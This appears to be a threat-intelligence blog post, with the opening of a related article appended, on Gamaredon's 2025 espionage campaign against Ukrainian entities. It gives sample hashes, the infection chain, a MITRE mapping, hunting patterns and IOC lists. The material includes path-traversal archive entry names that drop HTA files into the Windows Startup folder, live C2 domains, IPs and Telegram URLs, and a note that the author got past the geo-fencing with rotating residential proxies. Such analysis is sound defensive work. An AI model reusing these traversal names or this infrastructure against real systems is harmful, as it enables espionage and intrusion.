e4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510.htae4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
fc249b4686f4cfd98ab016aac32ecccf947012321a321d8e6463c17401b0c700.zipfc249b4686f4cfd98ab016aac32ecccf947012321a321d8e6463c17401b0c7002-1180-25_24.06.2025.HTA
eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8.zipeed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b82-1180-25_24.06.2025.HTA
478604b0f9323082b61521045a310b3362f405a0781a735dfe72f8ffed054be7.zip478604b0f9323082b61521045a310b3362f405a0781a735dfe72f8ffed054be72-1180-25_24.06.2025.HTA
68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0c.rar68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0cЗвернення народного депутата Верховної Ради України IX скликання 11-2967-25_23.09.2025.HTA
11-2967-25_23.09.2025.pdf
82e05b396443fcedeb4b165a8e5ee4d85195b4ba0a58a085670525598e46eedd.zip82e05b396443fcedeb4b165a8e5ee4d85195b4ba0a58a085670525598e46eedd82e05b396443fcedeb4b165a8e5ee4d85195b4ba0a58a085670525598e46eedd.rar
Письмо.pdf
Письмо.pdf:.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_run.bat
Письмо.pdf:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Письмо.pdf:stream_12xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
7b936b2885c3b02243d7cbf751f341840f26cd0de7d4910843159fbc05e1db60.rar7b936b2885c3b02243d7cbf751f341840f26cd0de7d4910843159fbc05e1db60Передати засобами АСУ Дніпро_6_3_4_4265_17.11.2025.pdf
Передати засобами АСУ Дніпро6_3_4_4265_17.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_6_3_4_4265_17.11.2025.HTA
05f23e5c668c73128b6140b2d7265457ce334072a0b940141a839ec3e7234414.rar05f23e5c668c73128b6140b2d7265457ce334072a0b940141a839ec3e7234414Передати засобами АСУ Дніпро_9_5_5_433_17.11.2025.pdf
Передати засобами АСУ Дніпро9_5_5_433_17.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_9_5_5_433_17.11.2025.HTA
83141b865be20f01dbb8520577500f57ec26357153ee093c5ba46f787aab7f7c.lnk83141b865be20f01dbb8520577500f57ec26357153ee093c5ba46f787aab7f7c
331eedee2d5df87c46b93b719ca623aeebafc91157d70ffe381cd1c06ae46841.rar331eedee2d5df87c46b93b719ca623aeebafc91157d70ffe381cd1c06ae46841.Довiдка щодо невиконання….lnk
Довiдка щодо невиконання….docx
237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0.rar237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf
Передати засобами АСУ Дніпро2_7_4_62_13.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_7_4_62_13.11.2025.HTA
a1832e9c58b9b3d355775ecaa6567d9727f4a39cf372fa9c7c2b42d70e98d0e1.rara1832e9c58b9b3d355775ecaa6567d9727f4a39cf372fa9c7c2b42d70e98d0e1Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf
Передати засобами АСУ Дніпро3_8_2_7442_13.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_3_8_2_7442_13.11.2025.HTA
d9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22.rard9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf
Передати засобами АСУ Дніпро2_1_1_7755_12.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_12.11.2025.HTA
95d30188fcc3864a6c8f9c01e27a588ea2b456f55b737c27f4b0cd756b887013.hta95d30188fcc3864a6c8f9c01e27a588ea2b456f55b737c27f4b0cd756b887013
6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263f.rar6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263fПередати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf
Передати засобами АСУ Дніпро2_1_1_7755_11.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_11.11.2025.HTA
0cebe68cbe06a390acee24c33155bb1d9910d4edcb660d0d235ce2a4e3c643c5.hta0cebe68cbe06a390acee24c33155bb1d9910d4edcb660d0d235ce2a4e3c643c5
c7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76c.zipc7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76cЩодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf:.........._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_11.11.2025.HTA
5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333cea.rar5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333ceaЗапит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf:.........._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_10.11.2025.HTA
21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1.rar21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf
Перегляд підходів до призову під час мобілізації2-3716-25_07.11.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2-3716-25_07.11.2025.HTA
7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb.hta7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb
18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104.hta18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
f35a91aa6b720f33fb971deee228e48a07d51df9762de6d616481fad1008b7ea.htm5a8aada4bbc37d79f93349587a639f322eb4d068dd0c5b8131d3b69cf9c833e0
5a8aada4bbc37d79f93349587a639f322eb4d068dd0c5b8131d3b69cf9c833e0.zip5a8aada4bbc37d79f93349587a639f322eb4d068dd0c5b8131d3b69cf9c833e02-13476-2025_08.09.2025.pdf
Повістка про виклик до військового комісаріату 2-13476-2025_08.09.2025.HTA
27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0.hta27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39.xhtml3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39
2-1180-25_03.06.2025.HTA9ce60dde11c1ad72af22ccd774c0efe9c5a206e9dcfbc2388a1b09cc70747f09
2f3b6223e31562592e86ae4dd4a5d0ceff518cf4feeb98f796febcb66d9148c4.zip2f3b6223e31562592e86ae4dd4a5d0ceff518cf4feeb98f796febcb66d9148c4Perelik_dokumentiv.txt.lnk
raport-na-otrimannya-dovidki-pro-obstavini-travmi.pdf
2-1180-25_24.06.2025.HTAab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7c

Stage 2-X Samples

SampleHashDrops
Dropper-Sample-1.hta9b14d367c99b7d9187a58406ad3eb55e2dee12b4b2bc341f9058c622b7b87fa3Dropper-Sample-1.1.vbs
Dropper-Sample-1.1.vbsf1a52573d11b3bee874e7d29c15d952492e2f4a72e2213fdb9274d0555d90978Lockdown-Script-Sample-1.vbs
Lockdown-Script-Sample-1.vbs9627415eafc3be2756d73b4440372fc99e99e25cd53c012ffccdc5d35ce0f70b
Dropper-Sample-2.hta9fc2a247313b078d795419b7d1c7c0cd907a103a4c64ebab6c96ddb7b958d230Dropper-Sample-2.1.hta
Dropper-Sample-2.1.hta7f467084343ca7986a188108390c1de3c98bb211e304cc4bc700125c1ea495f6Wiper-Sample-1.vbs
Wiper-Sample-1.vbsd4b5e0b45eab241ef03b64f0a52929fdd15e8ef783e1c7952ba01b199e4e3932
94298febd57718f0e05e61c9966f95347598e7ba1a05a48b8c9f9151023a839a.base6494298febd57718f0e05e61c9966f95347598e7ba1a05a48b8c9f9151023a839a008af94fd04c55582d9d8d6547f1276c04523494b25e7ff8f8f1bdc444abf1e7
aa572532ab1c8a731e7ba32e97ba180268eee8e6a74a2b9c4dc3efb669edb9af.vbsaa572532ab1c8a731e7ba32e97ba180268eee8e6a74a2b9c4dc3efb669edb9af


Operational Objective of the Campaign

The analyzed artifacts make the intention behind this operation painfully clear:
the campaign is aimed squarely at Ukrainian military, governmental, political, and administrative entities.

Based on filenames, document themes, and sender infrastructure, Gamaredon’s operational goals can be summarized as follows:

  • Military intelligence collection (documents, internal communication, location data, organization charts)
  • Rapid exfiltration (Pteranodon immediately sends host-, user-, and system-metadata to the C2)
  • Long-term espionage (stealers, wipers, tasking modules, USB spreaders)
  • Disruption & anti-forensics (registry cleaning, MRU deletion, startup folder cleanup)
  • Targeted propagation inside internal networks (USB/NAS/network spread)

This is not an opportunistic campaign. It is a structured, military-oriented espionage and sabotage operation consistent with, and likely coordinated by Russian state intelligence.


Campaign Timeline


Campaign Description

Gamaredon continues to bombard Ukrainian organizations with phishing emails, using a rotating set of attachments and themes.
The filenames of the analyzed samples strongly indicate military and political targeting, and the underlying infrastructure is built on large DynDNS farms and Fast-Flux C2 nodes an architecture that screams “FSB budget optimization,” if you will.

Until early November 2025, the group primarily distributed HTA and LNK attachments.
Then they shifted strategy, adopting a new Windows vulnerability CVE-2025-6218, allowing infections without the victim consciously executing anything.

Their new favorite delivery vector?
RAR archives containing seemingly harmless documents.

What happens?

When a victim opens the RAR archive:

  • the vulnerability triggers immediately
  • a hidden HTA is extracted straight into the Windows Startup folder
  • reboot -> automatic execution -> connection to Gamaredon’s C2
  • further payloads are downloaded and initial reconnaissance begins

A classic example of Microsoft doing Microsoft things.


Infection Chain (CVE-2025-6218 & CVE-2025-8088)

The multi-stage infection chain used in this campaign is simple, elegant, and annoyingly effective.
A key component is the server-side access control logic, which tightly restricts who is allowed to receive further payloads, ensuring that analysts outside the target region receive nothing but empty responses and existential frustration.


1. Initial Access: Web-based Loaders

Entry points include:

  • HTA attachments
  • LNK droppers
  • RAR archives containing HTA or LNK files
  • And increasingly:
    • RAR archives exploiting CVE-2025-6218 and CVE-2025-8088

CVE-2025-6218

  • Vulnerability allowing automatic file extraction into privileged directories
  • HTA placed into Startup without user execution

CVE-2025-8088

  • MSHTML execution bypass, circumventing Windows 11 hardening

All these delivery formats share one purpose:
download and launch Pteranodon, the central stage-2 loader.


2. Pteranodon Loader

Once the initial dropper executes, it fetches Pteranodon via HTTP(S).


This is where Gamaredon’s C2 firewall kicks in.

Persistence Mechanisms

Pteranodon uses multiple persistence vectors depending on available permissions:

  • Registry Run keys (HKCU and occasionally HKLM)
  • Scheduled tasks (5 – 30 minute intervals)
  • HTA files in the Startup folder
  • Hidden script copies inside %APPDATA%, %LOCALAPPDATA%, and %PROGRAMDATA%

These ensure the loader survives multiple reboots and can continuously request new tasks and modules.

Communication Structure

Gamaredon’s C2 traffic is distinctive:

  • XOR + Base64 layering
  • Pseudo-JSON structures (loose key/value pairs)
  • Regular tasking requests (download payload, run wiper, USB spread, resend systeminfo)
  • Operator fingerprints (recurring variable names and patterns)

Pteranodon is intentionally simple, lightweight, and extremely flexible, the malware equivalent of a Russian Lada:
It may look primitive, but you’ll be surprised how long it keeps going.


3. Access Control Logic (C2 Firewall)

Gamaredon uses a multi-layered filtering system that serves as both OPSEC and anti-analysis defense.

Purpose of the Access Control Logic

The C2:

  • only responds fully to Ukrainian IP ranges
  • verifies browser headers
  • requires system registration before delivering deeper payloads

This effectively locks out researchers, sandboxes, cloud instances, and… pretty much everyone except the intended victims.

Stages

Stage 1: IP Validation

  • Non-Ukrainian IP -> HTTP 200 with empty body
  • Ukrainian IP -> proceed

Stage 2: Header Validation

  • Must supply correct:
    • Identifier/Token
    • User-Agent
    • Accept-Language

Invalid -> serve a 0-byte file
Valid -> proceed

Stage 3: Registration & Tasking

Full payload access only after system registration:

  • hostname
  • username
  • local IP
  • environment
  • token

Then the C2 provides:

  • USB/network spread modules
  • Wipers
  • Persistence modules
  • Stealers
  • Additional droppers

The basic access control logic looks like this:


4. Campaign Characteristics

  • Strict Ukraine-only geo-fencing
  • Strong anti-analysis (empty responses instead of errors)
  • High variation of initial access files
  • Consistent use of Pteranodon
  • Increased abuse of RAR + CVE-2025-6218
  • Multiple drops per day

Analysis

This article focuses more on mapping the infrastructure than on deep reverse-engineering.
If you want in-depth Stage-1 payload analysis, check my previous article.

Once the malicious attachment is executed, it contacts a remote Gamaredon domain and retrieves Pteranodon.

Key observations from sandboxing

  • Most sandbox environments receive empty responses, expected due to the C2 filtering
  • Simulating headers alone is insufficient
  • Regular Ukrainian proxies also fail
  • Rotating Ukrainian residential proxies do work
  • However, deeper stages require successful registration, which makes automated extraction time-consuming

After bypassing the filters, we obtained obfuscated HTAs containing Base64-encoded VBS Code.

These loaders then fetch:

  • Pteranodon
  • wiper modules
  • auxiliary droppers
  • etc.

All files are provided in the sample table for further analysis.

Telegram & graph.org C2 Distribution

Gamaredon uses:

  • Telegram channels for rotating C2 IPs and cryptographic material
  • graph.org pages for rotating payload URLs

Both platforms are:

  • ideal for operations requiring frequent updates
  • highly resilient
  • hard to take down



https://graph.org/vryivzphxwc-11-11

If you are a doing legit malware research interested in tracking, feel free to write me an email.


Fast-Flux Infrastructure (194.67.71.0/24)

One IP stood out: 194.67.71.75, belonging to REG.RU, a well-known high-abuse Russian hosting provider.

Findings:

  • 200+ IPs in the subnet engaged in coordinated port-scanning against Ukrainian targets (April 2025)
  • 44,157 PassiveDNS entries for the 256 hosts
  • 39,903 unique domains
  • Typical Fast-Flux characteristics:
    • extremely short TTL
    • rapid IP rotation
    • each IP hosting dozens of unrelated domains
    • low-quality disposable domain patterns
    • consistent abusive behavior

This subnet is:

  • clearly Russian-controlled
  • used for offensive operations
  • structurally similar to GRU-affiliated infrastructure
  • highly likely to be connected directly or indirectly to the FSB


I built a graph on VirusTotal to visualize the malware distribution by the subnet:


Changes in the 2025 Gamaredon Campaign

Compared to 2021 – 2024, the 2025 operation shows significant evolution:

1. Zero-Click via CVE-2025-6218

RAR-based exploit allows silent execution with no user interaction.

2. RAR-First Delivery

RAR replaced HTA/LNK as the primary attachment format.

3. More complex access control

Geo-fencing, header checks, registration tokens, and multi-stage filtering.

4. Decentralized C2

Heavy reliance on Telegram + graph.org.

5. Expanded Stage-1 variations

HTA, LNK, RAR+LNK, RAR+HTA, RAR exploiting CVE-2025-6218.

6. Stronger persistence & propagation

Better registry/task persistence and more aggressive lateral movement.


Summary

The 2025 Gamaredon campaign is no longer just “phishing with extra steps”
It has evolved into a modular, highly dynamic, multi-infrastructure malware ecosystem, powered by:

  • Zero-click exploits
  • Geo-fenced C2 delivery
  • Fast-Flux DNS
  • Telegram distribution
  • graph.org rotation
  • Persistent Pteranodon loaders

…all wrapped in a design philosophy best described as:
“If it works, ship it, if it breaks, wrap it in Base64 and ship it anyway.”


MITRE ATT&CK Mapping

The current Gamaredon campaign maps to a wide range of relevant MITRE ATT&CK techniques.
Below is a consolidated overview of the most important tactics and techniques observed during the various stages of the operation: (Click To Open)

TA0001 – Initial Access

T1566.001 – Phishing: Spearphishing Attachment
Distribution of HTA, LNK, and RAR attachments using thematically relevant document names.

T1204.002 – User Execution: Malicious File
Execution of HTA/LNK loaders, or automatic execution via CVE-2025-6218.


TA0002 – Execution

T1059.005 – Command and Scripting Interpreter: Visual Basic
Extensive use of HTA and VBScript for initial loader execution.

T1059.001 – Command and Scripting Interpreter: PowerShell
Used to download and run Pteranodon modules.

T1203 – Exploitation for Client Execution
CVE-2025-6218 enabling automatic HTA placement and execution (zero-click).


TA0003 – Persistence

T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Persistence achieved via HTA scripts placed in the Startup folder and registry autostarts.

T1053.005 – Scheduled Task/Job
Creation of scheduled tasks that periodically re-execute Pteranodon or supplemental scripts.


TA0004 – Privilege Escalation

(No explicit privilege escalation techniques observed; Gamaredon typically operates under user-level permissions.)


TA0005 – Defense Evasion

T1027 – Obfuscated/Encrypted Files and Information
Heavy use of BASE64 and XOR layers to obfuscate code and communications.

T1497 Virtualization/Sandbox Evasion
C2 access-control (IP/header validation) to prevent payload delivery to researchers or sandboxes.

T1070 – Indicator Removal on Host
Wiper/cleanup scripts remove MRUs, registry traces, and startup entries.


TA0006 – Credential Access

(Seen in earlier Gamaredon campaigns; less prominent in 2025.)
T1552.001 – Unsecured Credentials: Credentials in Files
Some modules harvest document contents and autocomplete data.


TA0010 – Exfiltration

T1041 – Exfiltration Over C2 Channel
Hostnames, usernames, system metadata, and environment details sent directly to C2.


TA0011 – Command and Control

T1071.001 – Application Layer Protocol: Web Protocols
C2 communication over HTTP/HTTPS.

T1102.002 – Web Service: Telegram
Use of Telegram channels for dynamic IP rotation and distribution of secrets/tokens.

T1102 – Web Service (graph.org)
Use of graph.org pages for periodically rotating payload URLs.

T1568.002 – Dynamic DNS
Frequent use of DynDNS for rotating C2 domains.

T1090 – Proxy
Fast-Flux infrastructure in subnet 194.67.71.0/24 used to proxy malicious infrastructure.


TA0009 – Collection

T1119 – Automated Collection
Immediate collection of system information after Pteranodon’s initial registration.


TA0008 – Lateral Movement / Propagation

T1091 – Replication Through Removable Media
USB-based propagation (a long-standing Gamaredon tactic).

T1021 – Remote Services (limited)
Some modules show capability for internal network spread.


High-Level Indicators for Threat Hunters

This section summarizes the most important behavioral indicators that SOCs, threat hunters, and CERT teams can use to detect Gamaredon activity early.
These are high-level detection patterns rather than sample-specific IOCs

1. Network Indicators

  • HTTP requests from mshta.exe or powershell.exe to DynDNS domains, graph.org pages, or Ukrainian/Russian subnets
  • Repeated GET requests resulting in 0-byte responses
  • Outbound traffic to 194.67.71.0/24 (REG.RU Fast-Flux cluster)
  • Unexpected connections to Telegram API/channels without active user sessions
  • Very low DNS TTL values for domains rotating across many IPs

2. File System Indicators

Presence of suspicious script files:

  • HTA/VBS in the Startup folder:
    %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.hta
  • Dropped PowerShell/VBS files in:
    • %APPDATA%
    • %LOCALAPPDATA%
    • %PROGRAMDATA%
  • Files with pseudo-legitimate names such as Update.hta, Sync.hta, etc.

3. Registry Indicators

New or unusual autostart entries in:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Suspicious values like:
SystemUpdate, WinService, TaskHost, MSConfigSync


4. Process Indicators

Suspicious execution of:

  • mshta.exe
  • wscript.exe
  • cscript.exe
  • powershell.exe

Especially when combined with:

  • obfuscated arguments
  • Base64-encoded payloads
  • long XOR/Chr() sequences
  • inline HTTP URLs

5. Anti-Analysis / Sandbox Indicators

  • Malware returns completely empty responses when contacted from non-Ukrainian IPs
  • Stage loaders delivering 0-byte payloads when no registration token is provided
  • Behavior drastically changes depending on IP region and C2 validation

6. Tactical Patterns

  • Multiple execution stages within a very short timeframe
  • Frequent contact with newly generated DynDNS domains
  • Appearance of new graph.org pages containing short random identifiers
  • Telegram messages containing random Base64 blobs representing rotating secrets/IPs

7. Runtime Indicators (Sysmon/SOC)

Event ID 11 – file creation within Startup folder

Event ID 1 – mshta.exe -> powershell.exe -> network connection

Event ID 3 – outbound network connections from mshta.exe or powershell.exe

Event ID 7 – unexpected script engine DLL loads


IOCs

In our Analysis we could find the following IOCs used in this campaign:


IOC-TypeIOC-Value
DynDNS Payload Delivery Serveracess-pdf.webhop.me
creates.webhop.me
digitall.webhop.me
dears.serveirc.com
dilopendos.serveirc.com
downcraft.serveirc.com
fixer.serveirc.com
fixfactors.serveirc.com
kia-court.serveirc.com
political-news.serveirc.com
readers.serveirc.com
serversftp.serveirc.com
ssu-procuror.redirectme.net
yeard.serveirc.com
papilonos.hopto.org
diskpart.myddns.me
selodovo.myddns.me
document-downloads.ddns.net
systems-debug.ddns.net
document-prok.freedynamicdns.org
downloads-document.freedynamicdns.org
write-document.freedynamicdns.org
procurature.freedynamicdns.org
print-documents.freedynamicdns.net
google-pdf.redirectme.net
hosting-redirect.sytes.net
tillthesunrise.sytes.net
open-files.systes.net
open-pdf.serveftp.com
pasive-host.gotdns.ch
Cloudflareapp-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io
libraries-thus-yale-collaborative.trycloudflare.com
vacations-mic-games-scale.trycloudflare.com
incidence-polished-expires-denver.trycloudflare.com
streams-metallic-regulatory-armor.trycloudflare.com
divine-water-36e7.5ekz2z6pjk.workers.dev
long-king-02b7.5ekz2z6pjk.workers.dev
quietunion.48clhonm1m.workers.dev
divine-water-5123.svush66274.workers.dev
blackvoice.lydef24298.workers.dev
vaporblue.ddnsking.com
Domainsrqzbuwewuvnbbaucfhjl.supabase.co
For.estaca.ru
exorcise.me
andonceagain.online
gihs.andonceagain.ru
andonceagain.ru
antresolle.ru
IP Adresses5.181.2.158
5.181.2.161
95.163.236.162
185.168.208.228
194.58.66.5
194.58.66.132
194.58.66.192
194.67.71.75
194.87.240.141
194.87.230.166
194.87.240.215
194.87.240.217
185.39.204.82
45.141.234.234
5.8.18.46
103.224.182.251
144.172.84.70
45.32.220.217
65.38.120.43
64.7.199.177
172.104.206.42
107.189.18.173
107.189.23.61
Telegram URLshttps://www.telegram.me/s/natural_blood
https://www.telegram.me/s/oberfarir
https://telegram.me/s/teotori
URLs/gss_11.11.2025/kidneyfih/broadlyrQZ.pdf
/gpd_07.11.2025r/disputeqG1/concealedn2N.pdf
/moss_10.11.2025/futureHtG/accountc7z.pdf
/SUU_11.11.2025/dicontentedOhr/scoundrelit1.pdf
/SVrr_12.11.2025/crookoxQ/learningB4J.pdf
/mmoUU_13.11.2025/evolutionKPm/armourV2P.pdf
/sss_10.11.2025/dialGsd/horribleNQx.pdf
/ss_07.11.2025/flashlightsK8Q/pondjsQ.pdf
/motherrDJ/ssu/flowerbedD6M/dressmakerpvv.pdf
/sprdvth/tailor.ps1
/regretxso/GP4/investigationer4/exhibtionLD6.pdf
/OD/sensationaSL/AprilcWs.jpeg
/SS/atomN2s/arwardU26.jpeg
/OD/remisshKY/consentedjtP.jpeg
/OD/quitzU2/comparativelyNWU.jpeg
/Gost/pitchedcbY/intenseLKt.jpeg
/GPuUkr/satALU/eventfulpNq.pdf
/prosperousd92/allowingclO
/prosperousd92/allowingclO
Documentsдодаток.doc
дск.doc
доповідна запискa.doc
супровід катування.doc
лист до.doc
убд.doc
наказ наряд.doc
ГУР МОУ.doc
згвалтування.doc
супровод.doc
обезголовлення військовополоненого.jpeg
обезголовлення українського військовополоненого.jpeg
згвалтування військових.jpeg
фото секс.jpeg

How a Russian Threat Actor Uses a Recent WinRAR Vulnerability in Their Ukraine Operations


by Robin Dost

If you are interested in reading more about Gamaredon check out my other articles.

How a Russian Threat Actor Uses a Recent WinRAR Vulnerability in Their Ukraine Operations

Today we’re taking a look at several malware samples from the advanced persistent threat group “Primitive Bear” aka “Gamaredon”.

Primitive Bear is a Russian state-sponsored Advanced Persistent Threat (APT) group that has been active since at least 2013. With high confidence, the group is attributed to the Federal Security Service of the Russian Federation (FSB), Russia’s domestic intelligence service.

The most recently circulating malware samples caught my attention because they all follow the same pattern and exploit a newly disclosed vulnerability CVE-2025-6218 to load additional malware in later stages.

In this post, I want to walk you through the methodology and the infrastructure used by the attacker.

Below is an overview of the samples I analyzed that make use of CVE-2025-6218, along with their origin.
I will continue analyzing additional samples in order to map the attacker’s infrastructure as comprehensively as possible.


Samples leveraging CVE-2025-6218

Click here to open table

FilenameHash (SHA256)SourcesFile Type
Повістка про виклик_357-16230-25_24.10.2025.pdf7e7cdaac7a508b43d0971c92c72517a93f2dabdc0b91b7e4250bc4f672158bfcMalware BazaarASCII text
Повістка про виклик_357-16230-25_24.10.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_357-16230-25_24.10.2025.HTAfe3c9988490f950ed0d34d807664161bd90ef4e981e314f5a62e37cdd2cc2127Malware Bazaarhta text/html
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf5aea8e8fa381092e9e72f8674254ea35c885562f9e94617c610102034f21d17eMalware BazaarASCII text
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_11.11.2025.HTA74c2e95feea3c8a33be654925b3ae93ef7dc9c0b52a853d2230f88fbeda525f4Malware Bazaarhta text/html
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf0e0d2d2d286e835e13464c87bb70209aaea32994d916aa0bfbb10e2a391b8afcMalware BazaarASCII text
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2-3716-25_07.11.2025.HTAd101aff41ca5ead86bd9dfd53b4969e69ab31ae5ca31cf27ed44b90d66b9625aMalware Bazaarhta text/html
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf76884bb1338372a61b99fcb6f3a302d5260ced3292d012063ff5f20e0fb62474Malware BazaarASCII text
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_11-967_10.11.2025.HTA0716db7ad22fc3f039848f0bd2ea3b8efaa8ad6b2e1ea4475631fc6e317d3d2bMalware Bazaarhta text/html
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf

fc2cd4345ed345c16f627d0c75ffea0b9090b856ca43078810fa2635ff662dc5Malware BazaarASCII text
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_11.11.2025.HTA18c7bfe2ac5dc6f971af5a1b43da1377f6bf25239c073a1950885858e5fb5734Malware Bazaarhta text/html
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf04cf7d194a9f3deb0e9e3c9232e09c47185faeebbf8ff8932e55fa8ce054d2a9Malware BazaarASCII text
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_1_1_7755_12.11.2025.HTA

49c57c4d29ac80690be8b12f45c678d150fe93ced4e047290f890aa9aa01d504Malware Bazaarhta text/html
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf

4ce83c4209c55111c69b1c2506a7496068be56e5e507eac8f23e9e04cf901f65Malware BazaarASCII text
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_3_8_2_7442_13.11.2025.HTA

5c93b9b1fe5de1838c67941176851f5ab4222b2f6e75ef3c8312c15f2bcffecbMalware Bazaarhta text/html
Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf7d3d917380c37b08d3420567e318e1733eacef024125ba3969228a94694a4eecMalware BazaarASCII text

Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_7_4_62_13.11.2025.HTA
bbd91d4294000198a5cc71a722d3d67f73896f21aafc97de374365a513397c7cMalware Bazaarhta text/html


The campaign I observed clearly targets Ukrainian entities, something we can identify mainly by the filenames used:

Original FilenameEnglish Translation
Повістка про виклик_357-16230-25_24.10.2025.pdfSubpoena_357-16230-25_24.10.2025.pdf
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdfRegarding the provision of information (military unit A0135_11-967_11.11.2025).pdf
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdfReview of approaches to conscription during mobilisation_2-3716-25_07.11.2025.pdf
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdfRequest for information from the commander of military unit A0135_11-967_10.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdfTransfer via automated control system Dnipro_2_1_1_7755_11.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdfTransfer via automated control system Dnipro_2_1_1_7755_12.11.2025.pdf
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdfTransfer via automated control system Dnipro_3_8_2_7442_13.11.2025.pdf
